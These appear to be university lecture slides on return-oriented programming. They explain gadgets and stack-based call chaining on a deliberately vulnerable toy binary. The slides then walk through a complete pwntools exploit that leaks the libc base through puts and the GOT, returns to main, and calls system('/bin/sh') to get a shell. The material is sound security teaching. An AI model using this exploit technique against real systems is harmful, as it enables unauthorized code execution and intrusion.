Return oriented programming

Insu Yun

Defenses

- Data Execution Prevention
    - Call existing functions in the program
    - Call library functions
    - Code-reuse attack
- Stack cookie
    - Information leak
    - Side-channel attack
    - Non-stack vulnerabilities
- ASLR
    - Information leak

Possible return-to-libc defense

- Delete powerful functions for exploitation!
    - e.g., `system()`, `execve()`, ...
- Then, you cannot launch `/bin/sh` anymore!

No! Return-oriented programming (ROP)

- You can make ***arbitrary*** computations using a large number of short instruction sequences called ***gadget***.
- Check **The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)**
- Check **On the Expressiveness of Return-into-libc Attacks**
    - ROP in libc == Turing complete

Gadgets

- A short instruction sequence ends with **ret**.
- We usually can be found at the end of functions.

```
pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
ret
```

More on gadgets

- Even we can get them by splitting exiting ones
    - 2-byte instructions into 1-byte one

```
0x400d82 <+98>:    pop    r15
0x400d84 <+100>:   ret
```

```
0x400d83 <+99>:    pop    rdi
0x400d84 <+100>:   ret
```

ROP: Call chaining by example

- Goal: call
    - `setregid(1000, 1000);`
    - `system("/bin/sh");`
    - Unfortunately, no single function exists for this job.
- Vulnerability: stack overflow
    - i.e., esp is pointing to stack whose data are controllable

ROP: Call chaining by example

- We can call setregid()!
- How can we pass arguments?
    - (1)? (2)? (3)? (4)?

(4)
(3)
(2)
(1)
setregid << esp

ROP: Call chaining by example

- We can call setregid()!
- How can we call system?

1000
1000
(1)
setregid << esp

ROP: Call chaining by example

- What is the argument of system?
    - Is it what we want?

1000
1000
system << esp
setregid

ROP: Call chaining by example

- Use a gadget: pop pop ret. e.g.,

```
pop     edi
pop     ebp
retn
```

ROP: Call chaining by example

system
1000
1000
ppr << esp
setregid

ROP: Call chaining by example

system
1000
1000 << esp
ppr
setregid

ROP: Call chaining by example

system
1000 << esp
1000
ppr
setregid

ROP: Call chaining by example

system << esp
1000
1000
ppr
setregid

ROP: Call chaining by example

Then, we can put our argument here! Am I correct?

"/bin/sh"
system << esp
1000
1000
ppr
setregid

ROP: Call chaining by example

"/bin/sh"
????
system << esp
1000
1000
ppr
setregid

ROP: Leak & Exploit

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    puts("Welcome!");
    vuln();
    exit(0);
}
```

ROP: Leak & Exploit

```
[*] '/home/vagrant/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

Our attack scenario

1. Leak libc address
2. system("/bin/sh")

Q: How to leak libc address?

Our attack scenario

- What about using exit@got?

???@got
????
puts

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    puts("Welcome!");
    vuln();
    exit(0);
}
```

Our attack scenario

__libc_start_main@got
????
puts

Our attack scenario

```
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome
payload = (b"A"*0x28 + b"BBBB"
                + p32(e.symbols['puts'])
                + p32(0)
                + p32(e.got['__libc_start_main']))
p.send(payload)

libc_start_main = u32(p.readline()[:4])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main -
libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)
```

Leak

```
[+] Starting local process './vuln': pid 18665
[*] '/home/vagrant/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
LIBC_BASE: 0xf7e11000
```

Problem!

- Our payload cannot be completed without leak!
- Our program is terminating!
- Q: How can we resolve this?!
    - i.e., where to jump?

Back to main()

__libc_start_main@got
main
puts

- Then, we can retrigger the vulnerability again!

Back to main()

```
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome
payload = (b"A"*0x28 + b"BBBB"
                + p32(e.symbols['puts'])
                + p32(e.symbols['main']) # CHANGED
                + p32(e.got['__libc_start_main']))
p.send(payload)

libc_start_main = u32(p.readline()[:4])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main -
libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)

# 2nd exploit
libc.address = libc_base
payload = (b"A"*0x28 + b"BBBB"
                + p32(libc.symbols['system'])
                + p32(0)
                +
p32(next(libc.search(b'/bin/sh'))))
p.send(payload)
p.interactive()
```

BOOM

```
[+] Starting local process './vuln': pid 18842
[*] '/home/vagrant/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
LIBC_BASE: 0xf7e11000
[*] Switching to interactive mode
Welcome!
$ id
uid=1000(vagrant) gid=1000(vagrant)
groups=1000(vagrant)
```